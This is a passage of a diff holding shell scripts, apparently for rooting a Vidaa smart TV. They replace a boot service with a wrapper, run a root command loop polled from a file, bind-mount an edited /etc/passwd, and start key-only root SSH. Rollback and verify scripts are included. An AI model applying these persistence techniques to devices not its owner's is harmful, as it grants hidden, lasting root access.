||||||
|
# --- binaries + host key -------------------------------------------------
|
||||||
|
cp -f "$APP/dropbear" "$D/dropbear"
|
||||||
|
if [ -f "$APP/dropbear-sftp" ]; then
|
||||||
|
cp -f "$APP/dropbear-sftp" "$D/dropbear"
|
||||||
|
echo "using SFTP-capable dropbear"
|
||||||
|
fi
|
||||||
|
chmod 755 "$D/dropbear"
|
||||||
|
cp -f "$APP/dropbearkey" "$D/dropbearkey"; chmod 755 "$D/dropbearkey"
|
||||||
|
if [ -f "$APP/sftp-server" ]; then
|
||||||
|
cp -f "$APP/sftp-server" "$D/sftp-server"
|
||||||
|
chmod 755 "$D/sftp-server"
|
||||||
|
echo "sftp-server installed"
|
||||||
|
fi
|
||||||
|
if [ ! -f "$D/host_key" ]; then
|
||||||
|
"$D/dropbearkey" -t ed25519 -f "$D/host_key"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# --- root home via bind-mounted passwd -----------------------------------
|
||||||
|
cp -f /etc/passwd "$D/etc_passwd"
|
||||||
|
sed -i 's|^root:x:0:0:root:.*|root:x:0:0:root:/3rd_rw/sshd/home:/bin/sh|' "$D/etc_passwd"
|
||||||
|
if ! grep -q '^root:x:0:0:root:/3rd_rw/sshd/home:' /etc/passwd 2>/dev/null; then
|
||||||
|
mount --bind "$D/etc_passwd" /etc/passwd 2>>"$D/mount.log" \
|
||||||
|
|| mount -o bind "$D/etc_passwd" /etc/passwd 2>>"$D/mount.log"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# --- PTY: devpts on tmpfs, bind over /dev/pts -----------------------------
|
||||||
|
mkdir -p /dev/shm/pts
|
||||||
|
if ! grep -q ' /dev/shm/pts ' /proc/mounts; then
|
||||||
|
mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts 2>>"$D/mount.log" \
|
||||||
|
|| mount -t devpts devpts /dev/shm/pts 2>>"$D/mount.log"
|
||||||
|
fi
|
||||||
|
if ! grep -q ' /dev/pts ' /proc/mounts; then
|
||||||
|
mount --bind /dev/shm/pts /dev/pts 2>>"$D/mount.log"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# --- authorized key / permissions ----------------------------------------
|
||||||
|
cp -f "$APP/authorized_keys" "$D/home/.ssh/authorized_keys"
|
||||||
|
chmod 700 "$D/home" "$D/home/.ssh"
|
||||||
|
chmod 600 "$D/home/.ssh/authorized_keys"
|
||||||
|
chown -R 0:0 "$D"
|
||||||
|
|
||||||
|
# --- start script + root loop + boot wrapper -----------------------------
|
||||||
|
cp -f "$APP/start_sshd.sh" "$D/start_sshd.sh"; chmod 755 "$D/start_sshd.sh"
|
||||||
|
chmod 644 "$APP/root_loop.sh"
|
||||||
|
rm -f /3rd_rw/hamservice/HamService
|
||||||
|
cp -f "$APP/hamservice-wrapper.sh" /3rd_rw/hamservice/HamService
|
||||||
|
chmod 755 /3rd_rw/hamservice/HamService
|
||||||
|
|
||||||
|
# --- start now (idempotent) ----------------------------------------------
|
||||||
|
/bin/sh "$D/start_sshd.sh"
|
||||||
|
sleep 2
|
||||||
|
|
||||||
|
echo "--- passwd root entry ---"
|
||||||
|
grep '^root:' /etc/passwd
|
||||||
|
echo "--- mounts ---"
|
||||||
|
grep -E ' /etc/passwd | /dev/pts | /dev/shm/pts ' /proc/mounts
|
||||||
|
echo "--- processes ---"
|
||||||
|
ps | grep -E 'dropbear|root_loop' | grep -v grep || true
|
||||||
|
echo "--- tcp 22 ---"
|
||||||
|
cat /proc/net/tcp | grep -i ':0016' || true
|
||||||
|
echo "--- dropbear log ---"
|
||||||
|
/bin/busybox tail -n 8 "$D/dropbear.log" 2>&1 || true
|
||||||
|
echo "--- host key ---"
|
||||||
|
"$D/dropbearkey" -y -f "$D/host_key" 2>&1 | /bin/busybox tail -n 3 || true
|
||||||
|
echo "--- files ---"
|
||||||
|
ls -la "$D" "$D/home/.ssh" /3rd_rw/hamservice
|
||||||
|
echo "=== deploy_sshd: done ==="
|
||||||
Executable
+37
@@ -0,0 +1,37 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# enable_sftp.sh — after a successful `sftp -P 2222` test, swap the
|
||||||
|
# SFTP-capable Dropbear onto port 22.
|
||||||
|
#
|
||||||
|
# Backs up the current binary as /3rd_rw/sshd/dropbear.nosftp, schedules
|
||||||
|
# swap_sftp.sh detached (the caller's SSH session will drop), and returns.
|
||||||
|
set -e
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
APP=/3rd_rw/appdata
|
||||||
|
D=/3rd_rw/sshd
|
||||||
|
|
||||||
|
[ -f "$D/sftp-server" ] || { echo "missing $D/sftp-server"; exit 1; }
|
||||||
|
[ -f "$D/dropbear-sftp" ] || { echo "missing $D/dropbear-sftp"; exit 1; }
|
||||||
|
[ -f "$APP/swap_sftp.sh" ] || { echo "missing $APP/swap_sftp.sh"; exit 1; }
|
||||||
|
|
||||||
|
# stop the 2222 test instance
|
||||||
|
if [ -f "$D/dropbear2222.pid" ]; then
|
||||||
|
kill "$(cat "$D/dropbear2222.pid")" 2>/dev/null || true
|
||||||
|
rm -f "$D/dropbear2222.pid"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# one-time backup of the known-good non-SFTP binary
|
||||||
|
if [ ! -f "$D/dropbear.nosftp" ]; then
|
||||||
|
cp -f "$D/dropbear" "$D/dropbear.nosftp"
|
||||||
|
chmod 755 "$D/dropbear.nosftp"
|
||||||
|
fi
|
||||||
|
|
||||||
|
cp -f "$D/dropbear-sftp" "$D/dropbear.new"
|
||||||
|
chmod 755 "$D/dropbear.new"
|
||||||
|
|
||||||
|
if /bin/busybox --list 2>/dev/null | grep -q '^nohup$'; then
|
||||||
|
/bin/busybox nohup /bin/sh "$APP/swap_sftp.sh" >"$D/swap.log" 2>&1 &
|
||||||
|
else
|
||||||
|
/bin/sh "$APP/swap_sftp.sh" >"$D/swap.log" 2>&1 &
|
||||||
|
fi
|
||||||
|
echo "swap scheduled; port 22 will restart in ~3s; reconnect after ~6s"
|
||||||
Executable
+13
@@ -0,0 +1,13 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# /3rd_rw/hamservice/HamService (wrapper; install via deploy_sshd.sh)
|
||||||
|
# Early-ish boot hook (startHam.sh, after ~15 s): starts the root loop and
|
||||||
|
# Dropbear, then executes the real HamService. Reversible:
|
||||||
|
# rm /3rd_rw/hamservice/HamService
|
||||||
|
# ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
|
||||||
|
/bin/sh /3rd_rw/appdata/root_loop.sh >/dev/null 2>&1 &
|
||||||
|
[ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh >/dev/null 2>&1 &
|
||||||
|
|
||||||
|
exec /3rd/hamservice/HamService "$@"
|
||||||
Executable
+51
@@ -0,0 +1,51 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# install_sftp_stage.sh — stage SFTP on the TV without touching port 22.
|
||||||
|
#
|
||||||
|
# Expects in /3rd_rw/appdata:
|
||||||
|
# sftp-server static OpenSSH sftp-server
|
||||||
|
# dropbear-sftp Dropbear with SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server
|
||||||
|
#
|
||||||
|
# Copies both to /3rd_rw/sshd and starts a test Dropbear on port 2222.
|
||||||
|
# The caller then tests `sftp -P 2222`. Only if that works, enable_sftp.sh
|
||||||
|
# swaps the binary on port 22.
|
||||||
|
set -e
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
|
||||||
|
APP=/3rd_rw/appdata
|
||||||
|
D=/3rd_rw/sshd
|
||||||
|
|
||||||
|
echo "=== sftp stage: start ==="
|
||||||
|
for f in sftp-server dropbear-sftp; do
|
||||||
|
[ -f "$APP/$f" ] || { echo "missing: $APP/$f"; exit 1; }
|
||||||
|
done
|
||||||
|
mkdir -p "$D"
|
||||||
|
cp -f "$APP/sftp-server" "$D/sftp-server"; chmod 755 "$D/sftp-server"
|
||||||
|
cp -f "$APP/dropbear-sftp" "$D/dropbear-sftp"; chmod 755 "$D/dropbear-sftp"
|
||||||
|
|
||||||
|
# Verify the patched path and static server
|
||||||
|
echo "--- patched path ---"
|
||||||
|
if grep -q '/3rd_rw/sshd/sftp-server' "$D/dropbear-sftp" 2>/dev/null; then
|
||||||
|
echo "patched SFTPSERVER_PATH OK"
|
||||||
|
else
|
||||||
|
echo "WARNING: patched path not found (continuing; SFTP may fail)"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Stop a previous test instance
|
||||||
|
if [ -f "$D/dropbear2222.pid" ]; then
|
||||||
|
kill "$(cat "$D/dropbear2222.pid")" 2>/dev/null || true
|
||||||
|
rm -f "$D/dropbear2222.pid"
|
||||||
|
fi
|
||||||
|
sleep 1
|
||||||
|
|
||||||
|
"$D/dropbear-sftp" -r "$D/host_key" -p 2222 \
|
||||||
|
-P "$D/dropbear2222.pid" -E >> "$D/dropbear2222.log" 2>&1 &
|
||||||
|
sleep 2
|
||||||
|
|
||||||
|
echo "--- processes ---"
|
||||||
|
ps | grep dropbear | grep -v grep || true
|
||||||
|
echo "--- tcp 2222 (08AE) ---"
|
||||||
|
cat /proc/net/tcp | grep -i ':08AE' || true
|
||||||
|
echo "--- log ---"
|
||||||
|
/bin/busybox tail -n 10 "$D/dropbear2222.log" 2>&1 || true
|
||||||
|
echo "=== sftp stage: done; test with: sftp -P 2222 root@<tv> ==="
|
||||||
Executable
+29
@@ -0,0 +1,29 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# rollback.sh — remove the root/SSH persistence layers (run as root).
|
||||||
|
# The rootfs is untouched; this only removes /3rd_rw changes + runtime mounts.
|
||||||
|
# Reboot afterwards for a clean state.
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
D=/3rd_rw/sshd
|
||||||
|
|
||||||
|
echo "=== rollback: stopping loop/dropbear ==="
|
||||||
|
[ -f /3rd_rw/appdata/root_loop.pid ] && kill "$(cat /3rd_rw/appdata/root_loop.pid)" 2>/dev/null || true
|
||||||
|
[ -f "$D/dropbear.pid" ] && kill "$(cat "$D/dropbear.pid")" 2>/dev/null || true
|
||||||
|
|
||||||
|
echo "=== restore HamService symlink ==="
|
||||||
|
rm -f /3rd_rw/hamservice/HamService
|
||||||
|
ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService
|
||||||
|
|
||||||
|
echo "=== unmount runtime bind mounts ==="
|
||||||
|
umount /etc/passwd 2>/dev/null || true
|
||||||
|
umount /dev/pts 2>/dev/null || true
|
||||||
|
umount /dev/shm/pts 2>/dev/null || true
|
||||||
|
|
||||||
|
echo "=== remove sshd dir + shadows ==="
|
||||||
|
rm -rf "$D"
|
||||||
|
rm -f /3rd_rw/loglevel/lib/libtvsysinfo.so
|
||||||
|
rm -f /3rd_rw/ms-screen/lib/liblogLevel.so
|
||||||
|
rm -f /3rd_rw/appdata/liblogLevel.so
|
||||||
|
sync
|
||||||
|
|
||||||
|
echo "=== rollback done; reboot recommended ==="
|
||||||
Executable
+25
@@ -0,0 +1,25 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# /3rd_rw/appdata/root_loop.sh
|
||||||
|
# Root command loop. One instance per boot (boot_id lock).
|
||||||
|
# Write /3rd_rw/appdata/root_cmd.sh; read /3rd_rw/appdata/root_out.txt.
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
|
||||||
|
BID=""
|
||||||
|
[ -r /proc/sys/kernel/random/boot_id ] && BID=$(cat /proc/sys/kernel/random/boot_id 2>/dev/null)
|
||||||
|
[ -z "$BID" ] && BID=0
|
||||||
|
LOCK="/3rd_rw/appdata/root_loop.lock.$BID"
|
||||||
|
mkdir "$LOCK" 2>/dev/null || exit 0
|
||||||
|
|
||||||
|
echo "$$" > /3rd_rw/appdata/root_loop.pid
|
||||||
|
echo "loop started $$ $BID" > /3rd_rw/appdata/root_loop.log
|
||||||
|
|
||||||
|
while true; do
|
||||||
|
if [ -f /3rd_rw/appdata/root_cmd.sh ]; then
|
||||||
|
mv /3rd_rw/appdata/root_cmd.sh /3rd_rw/appdata/root_cmd.run
|
||||||
|
/bin/sh /3rd_rw/appdata/root_cmd.run > /3rd_rw/appdata/root_out.txt 2>&1
|
||||||
|
echo "rc=$?" >> /3rd_rw/appdata/root_out.txt
|
||||||
|
mv /3rd_rw/appdata/root_cmd.run /3rd_rw/appdata/root_cmd.done
|
||||||
|
fi
|
||||||
|
sleep 1
|
||||||
|
done
|
||||||
Executable
+39
@@ -0,0 +1,39 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# /3rd_rw/sshd/start_sshd.sh
|
||||||
|
# Starts Dropbear with key-only auth. Also re-creates the runtime bind mounts:
|
||||||
|
# /etc/passwd -> /3rd_rw/sshd/etc_passwd (root home -> /3rd_rw/sshd/home)
|
||||||
|
# /dev/pts -> devpts on /dev/shm/pts (PTY workaround; /dev is static ro)
|
||||||
|
# Must run as root. Idempotent.
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
mkdir -p /3rd_rw/sshd
|
||||||
|
|
||||||
|
# 1) passwd bind mount (root home must be writable for ~/.ssh/authorized_keys)
|
||||||
|
if ! grep -q '^root:x:0:0:root:/3rd_rw/sshd/home:' /etc/passwd 2>/dev/null; then
|
||||||
|
mount --bind /3rd_rw/sshd/etc_passwd /etc/passwd 2>>/3rd_rw/sshd/mount.log \
|
||||||
|
|| mount -o bind /3rd_rw/sshd/etc_passwd /etc/passwd 2>>/3rd_rw/sshd/mount.log
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 2) PTY: /dev is a static ro squashfs, no devtmpfs. Mount devpts on tmpfs
|
||||||
|
# and bind it over /dev/pts. /dev/ptmx (5,2) remains the static node.
|
||||||
|
mkdir -p /dev/shm/pts
|
||||||
|
if ! grep -q ' /dev/shm/pts ' /proc/mounts; then
|
||||||
|
mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts 2>>/3rd_rw/sshd/mount.log \
|
||||||
|
|| mount -t devpts devpts /dev/shm/pts 2>>/3rd_rw/sshd/mount.log
|
||||||
|
fi
|
||||||
|
if ! grep -q ' /dev/pts ' /proc/mounts; then
|
||||||
|
mount --bind /dev/shm/pts /dev/pts 2>>/3rd_rw/sshd/mount.log
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 3) already running?
|
||||||
|
if [ -f /3rd_rw/sshd/dropbear.pid ]; then
|
||||||
|
PID=$(cat /3rd_rw/sshd/dropbear.pid)
|
||||||
|
if kill -0 "$PID" 2>/dev/null && grep -q dropbear "/proc/$PID/cmdline" 2>/dev/null; then
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
rm -f /3rd_rw/sshd/dropbear.pid
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 4) start key-only Dropbear (password auth is disabled at build time)
|
||||||
|
/3rd_rw/sshd/dropbear -r /3rd_rw/sshd/host_key -p 22 \
|
||||||
|
-P /3rd_rw/sshd/dropbear.pid -E >> /3rd_rw/sshd/dropbear.log 2>&1 &
|
||||||
Executable
+34
@@ -0,0 +1,34 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# swap_sftp.sh — runs detached from enable_sftp.sh.
|
||||||
|
# Stops the old Dropbear, swaps in the SFTP-capable binary, restarts, and
|
||||||
|
# falls back to dropbear.nosftp if port 22 does not come up.
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
D=/3rd_rw/sshd
|
||||||
|
|
||||||
|
echo "=== swap_sftp $(date) ==="
|
||||||
|
sleep 1
|
||||||
|
|
||||||
|
if [ -f "$D/dropbear.pid" ]; then
|
||||||
|
kill "$(cat "$D/dropbear.pid")" 2>/dev/null || true
|
||||||
|
fi
|
||||||
|
sleep 1
|
||||||
|
|
||||||
|
mv -f "$D/dropbear.new" "$D/dropbear"
|
||||||
|
chmod 755 "$D/dropbear"
|
||||||
|
/bin/sh "$D/start_sshd.sh"
|
||||||
|
sleep 3
|
||||||
|
|
||||||
|
if cat /proc/net/tcp | grep -qi ':0016'; then
|
||||||
|
echo "port 22 listening with SFTP-capable dropbear"
|
||||||
|
else
|
||||||
|
echo "port 22 NOT listening; restoring dropbear.nosftp"
|
||||||
|
cp -f "$D/dropbear.nosftp" "$D/dropbear"
|
||||||
|
chmod 755 "$D/dropbear"
|
||||||
|
/bin/sh "$D/start_sshd.sh"
|
||||||
|
sleep 2
|
||||||
|
cat /proc/net/tcp | grep -i ':0016' || true
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "=== swap_sftp done ==="
|
||||||
|
ps | grep dropbear | grep -v grep || true
|
||||||
Executable
+47
@@ -0,0 +1,47 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# verify.sh — quick health check for the rooted TV (run as root).
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
D=/3rd_rw/sshd
|
||||||
|
|
||||||
|
echo "=== proof ==="
|
||||||
|
cat /3rd_rw/root_proof.txt 2>&1
|
||||||
|
|
||||||
|
echo "=== root loop ==="
|
||||||
|
cat /3rd_rw/appdata/root_loop.pid 2>&1
|
||||||
|
ps | grep root_loop | grep -v grep || true
|
||||||
|
|
||||||
|
echo "=== dropbear ==="
|
||||||
|
ps | grep dropbear | grep -v grep || true
|
||||||
|
cat /proc/net/tcp | grep -i ':0016' || true
|
||||||
|
/bin/busybox tail -n 10 "$D/dropbear.log" 2>&1 || true
|
||||||
|
|
||||||
|
echo "=== sftp (optional) ==="
|
||||||
|
if [ -f /3rd_rw/sshd/sftp-server ]; then
|
||||||
|
echo "sftp-server present"
|
||||||
|
else
|
||||||
|
echo "sftp-server missing (optional)"
|
||||||
|
fi
|
||||||
|
if grep -q '/3rd_rw/sshd/sftp-server' /3rd_rw/sshd/dropbear 2>/dev/null; then
|
||||||
|
echo "dropbear SFTP path OK"
|
||||||
|
else
|
||||||
|
echo "dropbear unpatched (optional; install_sftp.sh)"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "=== passwd / root home ==="
|
||||||
|
grep '^root:' /etc/passwd
|
||||||
|
|
||||||
|
echo "=== authorized key ==="
|
||||||
|
ls -l "$D/home/.ssh/authorized_keys" 2>&1
|
||||||
|
/bin/busybox head -c 120 "$D/home/.ssh/authorized_keys" 2>&1; echo
|
||||||
|
|
||||||
|
echo "=== mounts ==="
|
||||||
|
grep -E ' /etc/passwd | /dev/pts | /dev/shm/pts ' /proc/mounts
|
||||||
|
|
||||||
|
echo "=== current uid/gid (this shell) ==="
|
||||||
|
grep -E '^(Uid|Gid|CapEff):' /proc/self/status
|
||||||
|
|
||||||
|
echo "=== host key ==="
|
||||||
|
"$D/dropbearkey" -y -f "$D/host_key" 2>&1 | /bin/busybox tail -n 3 || true
|
||||||
|
|
||||||
|
echo "=== verify done ==="
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 688 B |
Whitespace-only changes.
@@ -0,0 +1 @@
|
|||||||
|
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKLzgdRrwTGWMSHIurddPrQBY/2zOk+BlsU4jJWtPh/B vidaa-root
|
||||||
Executable
+97
@@ -0,0 +1,97 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# deploy_sshd.sh — run as root on the TV (e.g. via the root loop).
|
||||||
|
#
|
||||||
|
# Expects in /3rd_rw/appdata:
|
||||||
|
# dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh
|
||||||
|
# hamservice-wrapper.sh
|
||||||
|
# Upload these with root/scripts/host/upload_to_appdata.js (or File.download).
|
||||||
|
#
|
||||||
|
# Installs:
|
||||||
|
# /3rd_rw/sshd/{dropbear,dropbearkey,host_key,etc_passwd,start_sshd.sh,home/.ssh/authorized_keys}
|
||||||
|
# /3rd_rw/hamservice/HamService (wrapper; replaces the symlink)
|
||||||
|
# bind /etc/passwd -> /3rd_rw/sshd/etc_passwd
|
||||||
|
# devpts /dev/shm/pts -> bind /dev/pts (PTY workaround)
|
||||||
|
# Dropbear on 0.0.0.0:22, key-only root login
|
||||||
|
#
|
||||||
|
# Reversible with rollback.sh or the ROOT-GUIDE.
|
||||||
|
set -e
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
|
||||||
|
APP=/3rd_rw/appdata
|
||||||
|
D=/3rd_rw/sshd
|
||||||
|
|
||||||
|
echo "=== deploy_sshd: start ==="
|
||||||
|
for f in dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh hamservice-wrapper.sh; do
|
||||||
|
[ -f "$APP/$f" ] || { echo "missing: $APP/$f"; exit 1; }
|
||||||
|
done
|
||||||
|
|
||||||
|
mkdir -p "$D/home/.ssh" /3rd_rw/hamservice
|
||||||
|
|
||||||
|
# --- binaries + host key -------------------------------------------------
|
||||||
|
cp -f "$APP/dropbear" "$D/dropbear"
|
||||||
|
if [ -f "$APP/dropbear-sftp" ]; then
|
||||||
|
cp -f "$APP/dropbear-sftp" "$D/dropbear"
|
||||||
|
echo "using SFTP-capable dropbear"
|
||||||
|
fi
|
||||||
|
chmod 755 "$D/dropbear"
|
||||||
|
cp -f "$APP/dropbearkey" "$D/dropbearkey"; chmod 755 "$D/dropbearkey"
|
||||||
|
if [ -f "$APP/sftp-server" ]; then
|
||||||
|
cp -f "$APP/sftp-server" "$D/sftp-server"
|
||||||
|
chmod 755 "$D/sftp-server"
|
||||||
|
echo "sftp-server installed"
|
||||||
|
fi
|
||||||
|
if [ ! -f "$D/host_key" ]; then
|
||||||
|
"$D/dropbearkey" -t ed25519 -f "$D/host_key"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# --- root home via bind-mounted passwd -----------------------------------
|
||||||
|
cp -f /etc/passwd "$D/etc_passwd"
|
||||||
|
sed -i 's|^root:x:0:0:root:.*|root:x:0:0:root:/3rd_rw/sshd/home:/bin/sh|' "$D/etc_passwd"
|
||||||
|
if ! grep -q '^root:x:0:0:root:/3rd_rw/sshd/home:' /etc/passwd 2>/dev/null; then
|
||||||
|
mount --bind "$D/etc_passwd" /etc/passwd 2>>"$D/mount.log" \
|
||||||
|
|| mount -o bind "$D/etc_passwd" /etc/passwd 2>>"$D/mount.log"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# --- PTY: devpts on tmpfs, bind over /dev/pts -----------------------------
|
||||||
|
mkdir -p /dev/shm/pts
|
||||||
|
if ! grep -q ' /dev/shm/pts ' /proc/mounts; then
|
||||||
|
mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts 2>>"$D/mount.log" \
|
||||||
|
|| mount -t devpts devpts /dev/shm/pts 2>>"$D/mount.log"
|
||||||
|
fi
|
||||||
|
if ! grep -q ' /dev/pts ' /proc/mounts; then
|
||||||
|
mount --bind /dev/shm/pts /dev/pts 2>>"$D/mount.log"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# --- authorized key / permissions ----------------------------------------
|
||||||
|
cp -f "$APP/authorized_keys" "$D/home/.ssh/authorized_keys"
|
||||||
|
chmod 700 "$D/home" "$D/home/.ssh"
|
||||||
|
chmod 600 "$D/home/.ssh/authorized_keys"
|
||||||
|
chown -R 0:0 "$D"
|
||||||
|
|
||||||
|
# --- start script + root loop + boot wrapper -----------------------------
|
||||||
|
cp -f "$APP/start_sshd.sh" "$D/start_sshd.sh"; chmod 755 "$D/start_sshd.sh"
|
||||||
|
chmod 644 "$APP/root_loop.sh"
|
||||||
|
rm -f /3rd_rw/hamservice/HamService
|
||||||
|
cp -f "$APP/hamservice-wrapper.sh" /3rd_rw/hamservice/HamService
|
||||||
|
chmod 755 /3rd_rw/hamservice/HamService
|
||||||
|
|
||||||
|
# --- start now (idempotent) ----------------------------------------------
|
||||||
|
/bin/sh "$D/start_sshd.sh"
|
||||||
|
sleep 2
|
||||||
|
|
||||||
|
echo "--- passwd root entry ---"
|
||||||
|
grep '^root:' /etc/passwd
|
||||||
|
echo "--- mounts ---"
|
||||||
|
grep -E ' /etc/passwd | /dev/pts | /dev/shm/pts ' /proc/mounts
|
||||||
|
echo "--- processes ---"
|
||||||
|
ps | grep -E 'dropbear|root_loop' | grep -v grep || true
|
||||||
|
echo "--- tcp 22 ---"
|
||||||
|
cat /proc/net/tcp | grep -i ':0016' || true
|
||||||
|
echo "--- dropbear log ---"
|
||||||
|
/bin/busybox tail -n 8 "$D/dropbear.log" 2>&1 || true
|
||||||
|
echo "--- host key ---"
|
||||||
|
"$D/dropbearkey" -y -f "$D/host_key" 2>&1 | /bin/busybox tail -n 3 || true
|
||||||
|
echo "--- files ---"
|
||||||
|
ls -la "$D" "$D/home/.ssh" /3rd_rw/hamservice
|
||||||
|
echo "=== deploy_sshd: done ==="
|
||||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
+13
@@ -0,0 +1,13 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# /3rd_rw/hamservice/HamService (wrapper; install via deploy_sshd.sh)
|
||||||
|
# Early-ish boot hook (startHam.sh, after ~15 s): starts the root loop and
|
||||||
|
# Dropbear, then executes the real HamService. Reversible:
|
||||||
|
# rm /3rd_rw/hamservice/HamService
|
||||||
|
# ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
|
||||||
|
/bin/sh /3rd_rw/appdata/root_loop.sh >/dev/null 2>&1 &
|
||||||
|
[ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh >/dev/null 2>&1 &
|
||||||
|
|
||||||
|
exec /3rd/hamservice/HamService "$@"
|
||||||
Binary file not shown.
Executable
+29
@@ -0,0 +1,29 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# rollback.sh — remove the root/SSH persistence layers (run as root).
|
||||||
|
# The rootfs is untouched; this only removes /3rd_rw changes + runtime mounts.
|
||||||
|
# Reboot afterwards for a clean state.
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
D=/3rd_rw/sshd
|
||||||
|
|
||||||
|
echo "=== rollback: stopping loop/dropbear ==="
|
||||||
|
[ -f /3rd_rw/appdata/root_loop.pid ] && kill "$(cat /3rd_rw/appdata/root_loop.pid)" 2>/dev/null || true
|
||||||
|
[ -f "$D/dropbear.pid" ] && kill "$(cat "$D/dropbear.pid")" 2>/dev/null || true
|
||||||
|
|
||||||
|
echo "=== restore HamService symlink ==="
|
||||||
|
rm -f /3rd_rw/hamservice/HamService
|
||||||
|
ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService
|
||||||
|
|
||||||
|
echo "=== unmount runtime bind mounts ==="
|
||||||
|
umount /etc/passwd 2>/dev/null || true
|
||||||
|
umount /dev/pts 2>/dev/null || true
|
||||||
|
umount /dev/shm/pts 2>/dev/null || true
|
||||||
|
|
||||||
|
echo "=== remove sshd dir + shadows ==="
|
||||||
|
rm -rf "$D"
|
||||||
|
rm -f /3rd_rw/loglevel/lib/libtvsysinfo.so
|
||||||
|
rm -f /3rd_rw/ms-screen/lib/liblogLevel.so
|
||||||
|
rm -f /3rd_rw/appdata/liblogLevel.so
|
||||||
|
sync
|
||||||
|
|
||||||
|
echo "=== rollback done; reboot recommended ==="
|
||||||
Executable
+25
@@ -0,0 +1,25 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# /3rd_rw/appdata/root_loop.sh
|
||||||
|
# Root command loop. One instance per boot (boot_id lock).
|
||||||
|
# Write /3rd_rw/appdata/root_cmd.sh; read /3rd_rw/appdata/root_out.txt.
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
|
||||||
|
BID=""
|
||||||
|
[ -r /proc/sys/kernel/random/boot_id ] && BID=$(cat /proc/sys/kernel/random/boot_id 2>/dev/null)
|
||||||
|
[ -z "$BID" ] && BID=0
|
||||||
|
LOCK="/3rd_rw/appdata/root_loop.lock.$BID"
|
||||||
|
mkdir "$LOCK" 2>/dev/null || exit 0
|
||||||
|
|
||||||
|
echo "$$" > /3rd_rw/appdata/root_loop.pid
|
||||||
|
echo "loop started $$ $BID" > /3rd_rw/appdata/root_loop.log
|
||||||
|
|
||||||
|
while true; do
|
||||||
|
if [ -f /3rd_rw/appdata/root_cmd.sh ]; then
|
||||||
|
mv /3rd_rw/appdata/root_cmd.sh /3rd_rw/appdata/root_cmd.run
|
||||||
|
/bin/sh /3rd_rw/appdata/root_cmd.run > /3rd_rw/appdata/root_out.txt 2>&1
|
||||||
|
echo "rc=$?" >> /3rd_rw/appdata/root_out.txt
|
||||||
|
mv /3rd_rw/appdata/root_cmd.run /3rd_rw/appdata/root_cmd.done
|
||||||
|
fi
|
||||||
|
sleep 1
|
||||||
|
done
|
||||||
Executable
BIN
Binary file not shown.
Executable
+39
@@ -0,0 +1,39 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# /3rd_rw/sshd/start_sshd.sh
|
||||||
|
# Starts Dropbear with key-only auth. Also re-creates the runtime bind mounts:
|
||||||
|
